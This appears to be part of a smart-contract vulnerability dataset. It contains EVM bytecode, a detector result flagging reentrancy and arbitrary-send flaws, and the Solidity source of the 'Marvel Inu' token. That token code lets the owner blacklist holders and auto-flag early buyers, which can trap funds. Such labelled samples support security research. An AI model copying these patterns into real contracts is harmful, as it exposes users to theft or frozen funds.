0a01b03831660009081526003602052604090205482111561053d5760405162461bcd60e51b81526004018080602001828103825260318152602001806109c06031913960400191505060405180910390fd5b6040516000906001600160a01b0385169084908381818185875af1925050503d8060008114610588576040519150601f19603f3d011682016040523d82523d6000602084013e61058d565b606091505b50509050806105de576040805162461bcd60e51b81526020600482015260186024820152772330b4b632b2103a37902bb4ba34323930bb902ab9b2b91760411b604482015290519081900360640190fd5b6001600160a01b038416600090815260036020526040902082905560025461060690846108c5565b60025550505050565b610617610860565b6000546001600160a01b03908116911614610667576040805162461bcd60e51b815260206004820181905260248201526000805160206109f1833981519152604482015290519081900360640190fd5b6000600254116106a85760405162461bcd60e51b8152600401808060200182810382526021815260200180610a116021913960400191505060405180910390fd5b60025460006106b56103ce565b6040519091506000906001600160a01b0383169084908381818185875af1925050503d8060008114610703576040519150601f19603f3d011682016040523d82523d6000602084013e610708565b606091505b505090508061075e576040805162461bcd60e51b815260206004820152601d60248201527f4661696c656420746f20576974686472617720476f7665726e616e6365000000604482015290519081900360640190fd5b5050600060025550565b610770610860565b6000546001600160a01b039081169116146107c0576040805162461bcd60e51b815260206004820181905260248201526000805160206109f1833981519152604482015290519081900360640190fd5b6001600160a01b0381166108055760405162461bcd60e51b815260040180806020018281038252602681526020018061099a6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6000828201838110156108be576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60006108be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156109915760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561095657818101518382015260200161093e565b50505050905090810190601f1680156109835780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373557365722042616c616e63652073686f756c64206265206d6f7265207468616e20776974686472617720616d6f756e742e4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657243616e27742073656e64206f76657220746f74616c2045544820616d6f756e742ea264697066735822122032974091089766b9c707b906d39487bf0fdcca5f08930fd9807168d572eb93ef64736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,752
0x200460838c67c88bc4f46ff041dd9227c343387c
/** *Submitted for verification at Etherscan.io on 2021-07-01 */ /* __ __ __ | \ / \ | \ | $$\ / $$ ______ ______ __ __ ______ | $$ | $$$\ / $$$ | \ / \| \ / \ / \ | $$ | $$$$\ $$$$ \$$$$$$\| $$$$$$\\$$\ / $$| $$$$$$\| $$ | $$\$$ $$ $$ / $$| $$ \$$ \$$\ $$ | $$ $$| $$ | $$ \$$$| $$| $$$$$$$| $$ \$$ $$ | $$$$$$$$| $$ | $$ \$ | $$ \$$ $$| $$ \$$$ \$$ \| $$ \$$ \$$ \$$$$$$$ \$$ \$ \$$$$$$$ \$$ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MarvelInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Marvel Inu"; string private constant _symbol = "Marvel"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _devFund; address payable private _marketingFunds; address payable private _buybackWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) { _devFund = devFundAddr; _marketingFunds = marketingFundAddr; _buybackWalletAddress = buybackAddr; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_devFund] = true; _isExcludedFromFee[_marketingFunds] = true; _isExcludedFromFee[_buybackWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to] && !bots[msg.sender]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } if (block.number <= launchBlock + 2 && amount == _maxTxAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { bots[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _devFund.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(4).div(10)); _buybackWalletAddress.transfer(amount.mul(2).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _devFund); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _devFund); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf9146103c5578063cba0e996146103dc578063d00efb2f14610419578063d543dbeb14610444578063dd62ed3e1461046d578063e47d6060146104aa57610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063c3c8cd80146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e7565b60405161015c91906133a6565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612ec9565b610524565b604051610199919061338b565b60405180910390f35b3480156101ae57600080fd5b506101b7610542565b6040516101c49190613548565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612e7a565b610553565b604051610201919061338b565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612dec565b61062c565b005b34801561023f57600080fd5b5061024861071c565b60405161025591906135bd565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612f46565b610725565b005b34801561029357600080fd5b5061029c6107d7565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612dec565b610849565b6040516102d29190613548565b60405180910390f35b3480156102e757600080fd5b506102f061089a565b005b3480156102fe57600080fd5b506103076109ed565b60405161031491906132bd565b60405180910390f35b34801561032957600080fd5b50610332610a16565b60405161033f91906133a6565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612ec9565b610a53565b60405161037c919061338b565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612f05565b610a71565b005b3480156103ba57600080fd5b506103c3610bc1565b005b3480156103d157600080fd5b506103da610c3b565b005b3480156103e857600080fd5b5061040360048036038101906103fe9190612dec565b61119e565b604051610410919061338b565b60405180910390f35b34801561042557600080fd5b5061042e6111f4565b60405161043b9190613548565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612f98565b6111fa565b005b34801561047957600080fd5b50610494600480360381019061048f9190612e3e565b611343565b6040516104a19190613548565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612dec565b6113ca565b6040516104de919061338b565b60405180910390f35b60606040518060400160405280600a81526020017f4d617276656c20496e7500000000000000000000000000000000000000000000815250905090565b6000610538610531611420565b8484611428565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105608484846115f3565b6106218461056c611420565b61061c85604051806060016040528060288152602001613c8160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105d2611420565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120469092919063ffffffff16565b611428565b600190509392505050565b610634611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b890613488565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61072d611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b190613488565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610818611420565b73ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b6000479050610846816120aa565b50565b6000610893600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225a565b9050919050565b6108a2611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092690613488565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4d617276656c0000000000000000000000000000000000000000000000000000815250905090565b6000610a67610a60611420565b84846115f3565b6001905092915050565b610a79611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd90613488565b60405180910390fd5b60005b8151811015610bbd576001600a6000848481518110610b51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bb59061385e565b915050610b09565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c02611420565b73ffffffffffffffffffffffffffffffffffffffff1614610c2257600080fd5b6000610c2d30610849565b9050610c38816122c8565b50565b610c43611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc790613488565b60405180910390fd5b601060149054906101000a900460ff1615610d20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1790613508565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610db030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611428565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610df657600080fd5b505afa158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e9190612e15565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9057600080fd5b505afa158015610ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec89190612e15565b6040518363ffffffff1660e01b8152600401610ee59291906132d8565b602060405180830381600087803b158015610eff57600080fd5b505af1158015610f13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f379190612e15565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fc030610849565b600080610fcb6109ed565b426040518863ffffffff1660e01b8152600401610fed9695949392919061332a565b6060604051808303818588803b15801561100657600080fd5b505af115801561101a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061103f9190612fc1565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550674563918244f40000601181905550436012819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611148929190613301565b602060405180830381600087803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119a9190612f6f565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60125481565b611202611420565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128690613488565b60405180910390fd5b600081116112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990613448565b60405180910390fd5b61130160646112f383683635c9adc5dea000006125c290919063ffffffff16565b61263d90919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516113389190613548565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f906134e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90613408565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115e69190613548565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165a906134c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca906133c8565b60405180910390fd5b60008111611716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170d906134a8565b60405180910390fd5b61171e6109ed565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561178c575061175c6109ed565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8357601060179054906101000a900460ff16156119bf573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561180e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118685750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118c25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119be57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611908611420565b73ffffffffffffffffffffffffffffffffffffffff16148061197e5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611966611420565b73ffffffffffffffffffffffffffffffffffffffff16145b6119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b490613528565b60405180910390fd5b5b5b6011548111156119ce57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a725750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ac85750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ad157600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b7c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bea5750601060179054906101000a900460ff165b15611c8b5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c3a57600080fd5b600f42611c47919061367e565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6002601254611c9a919061367e565b4311158015611caa575060115481145b15611ec957601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d5b5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dbd576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611ec8565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e695750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ec7576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b6000611ed430610849565b9050601060159054906101000a900460ff16158015611f415750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611f595750601060169054906101000a900460ff165b15611f8157611f67816122c8565b60004790506000811115611f7f57611f7e476120aa565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061202a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561203457600090505b61204084848484612687565b50505050565b600083831115829061208e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208591906133a6565b60405180910390fd5b506000838561209d919061375f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61210d600a6120ff6004866125c290919063ffffffff16565b61263d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612138573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61219c600a61218e6004866125c290919063ffffffff16565b61263d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121c7573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ff